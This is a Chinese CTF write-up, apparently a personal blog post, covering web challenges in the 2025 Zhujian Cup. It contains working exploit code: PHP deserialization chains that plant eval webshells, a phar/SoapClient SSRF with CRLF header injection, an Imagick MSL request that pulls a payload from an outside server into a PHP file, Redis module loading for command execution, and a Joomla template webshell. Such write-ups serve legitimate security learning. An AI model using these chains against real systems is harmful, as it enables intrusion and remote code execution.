2025铸剑杯预赛+决赛WP

发布于 15 小时前  59 次阅读


2025铸剑杯预赛+决赛WP

from 0RAYS Mak4R1
二等奖,职业生涯第二张2w的牌子(
image_mak

预赛

浅析php原生类

大致思路就是先利用ZipArchive类的open('file',8)方法,将install.lock删除
image_mak
然后利用destruct写马
image_mak
由于wakeup的优先级比destruct高因此可以先走wakeup->tostring->invoke来删除install.lock,然后通过destruct写入序列化数据(username为:username为木马的install对象)来写马即可

<?php
// highlight_file(__FILE__);

//
class install {
    private $username; 
    private $password;
    public function __construct($f)
    {
        if($f === 1){
            $this->username=new install(2);
            $this->password = "<?php eval(\$_GET['a']); ?>";
        }else if($f === 2){
            $this->username = new Until();
            $this->password = "<?php eval(\$_GET['a']); ?>";
        }
    }
    public function __wakeup()
    {
        echo "Hello,".$this->username;
    }

    public function __toString()
    {
        ($this->username)();
        return "Guest";
    }

    public function __destruct()
    {
        if(0){
            // exit("Already installed");
        }else{
            $config = [
                'username' => $this->username,
                'password' => md5($this->password)
            ];
            file_put_contents('config.php', serialize($config));
            file_put_contents('install.lock', "ok");
        }
    }
}

class Until {
    public $a = "ZipArchive";
    public $b = "install.lock";
    public $c = 8;

    public function __invoke()
    {
        $this->write($this->a, $this->b, $this->c);
    }

    public function __toString()
    {
        return "HappyUnserialize";
    }

    public function write($cla, $file, $cont)
    {
        echo "write $cla $file $cont\n";
        $obj = new $cla();
        $obj->open($file,$cont);
        return True;
    }
}

echo urlencode(serialize(new install(1)));

文明参赛注意素质

扫目录可以发现/admin为admin登录界面,pass.txt为账密admin/admin,以及index.php.bak,是一部分源码

/admin/auth.php中只要从127.0.0.1发送一个post参数就会提供authcode

在index.php.bak提供的类中

    function __destruct(){
        if($this->test!=NULL){
            $this->test->back();
        }
    }

反序列化会执行test属性的back方法
同时写笔记的地方,path传入已存在的文件会提示"file exsists",应该会引用file_exist函数,同时index.php.bak有destruct方法会执行属性中的一个方法,且auth.php要求SSRF,那么就想到利用phar,SoapClient的反序列化+执行不存在的方法来触发SSRF

phar,zip,php被ban了,compress.zlib://phar://就可以绕

exp:

<?php
class create_treehole{
    public $path;
    public $realpath = "";
    public $complaint = "";
    public $test;

    function make(){
           /**/
    }
    function back(){
        echo "Your worries are saved in ".$this->realpath."</br>";
    }
    function create_name($str){
        $salt='';
        for ($i = 0; $i < 10; $i++){
            $salt .= chr(mt_rand(33,126));
        }
        $str = "./treehole/".md5($str.$salt).".txt";
        return $str;
    }
    // function __destruct(){
    //     if($this->test!=NULL){
    //         $this->test->back();
    //     }
    // }
}
$cr = new create_treehole();
$a = new SoapClient(null,array('location'=> 'http://127.0.0.1/admin/auth.php','user_agent'=>'wupco\r\nContent-Type: application/x-www-form-urlencoded\r\n'.'X-Forwarded-For: 127.0.0.1\r\nCookie: admin=1'.'\r\nContent-Length: '.'46'.'\r\n\r\n'.'salt=1','uri'=>"peri0d"));

$target = 'http://127.0.0.1/admin/auth.php';
$post_string = 'salt=something';
$headers = array(
    'X-Forwarded-For: 127.0.0.1',
    'Cookie: PHPSESSID=my_session'
);
$b = new SoapClient(null, array('location' => $target, 'user_agent' => 'choco\r\nContent-Type: application/x-www-form-urlencoded\r\n' . join('\r\n', $headers) . '\r\nContent-Length: ' . (string)strlen($post_string) . '\r\n\r\n' . $post_string, 'uri'      => "aaab"));
$cr -> test = $b;
@unlink("phar3.phar");
$phar = new Phar("phar3.phar"); // 后缀名必须为 phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); // 设置 stub
$phar->setMetadata($cr); // 将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); // 添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

ps:这里比赛时一直打不通,不知道为什么,当时是把\r\n url编码了,可能是这个原因
然后拿到authcode登录admin即可

决赛

挑战赛

场景1

源码和bytectf2024的ezobj相同,当时是先xxe拿key然后Imagick落地恶意so到/tmp,打LD_PRELOAD,但是当时那道题是web目录不可写的,这道题web目录可写,直接Imagick往web目录写马就行了,难崩
(靶机和本地互通)

POST /?cloversec=Imagick&ctf=vid:msl:/tmp/php* HTTP/1.1
Host: host
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/53
7.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeTvfNEmqTayg6bqr
Content-Length: 348

------WebKitFormBoundaryeTvfNEmqTayg6bqr
Content-Disposition: form-data; name="123"; filename="exec.msl"
Content-Type: text/plain
<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="http://vps:12345/positive.png" />
<write filename="/var/www/html/positive.php"/>
</image>
------WebKitFormBoundaryeTvfNEmqTayg6bqr--

打进去以后要提权,有个redis服务,/etc/redis/redis.conf有密码,最后面有:

rename slaveof ""
load-module-enable local

虽然主从复制无了,但是直接MODULE LOAD加载恶意exp执行系统代码即可

MODULE LOAD "/tmp/exp.so"
system.exec "cat /root/flag"

内网里东西挺多的,可惜出的晚,最后没时间打了

靶场赛(1)

题目ip忘了

1

joomla有个路由/administrator,弱口令admin/admin登录
在这里修改/templates/cassiopeia/index.php为一句话木马即可RCE
image_mak
image_mak
还有好多弱口令和免费的RCE,比赛打完就忘了

A web ctfer from 0RAYS
最后更新于 2025-11-30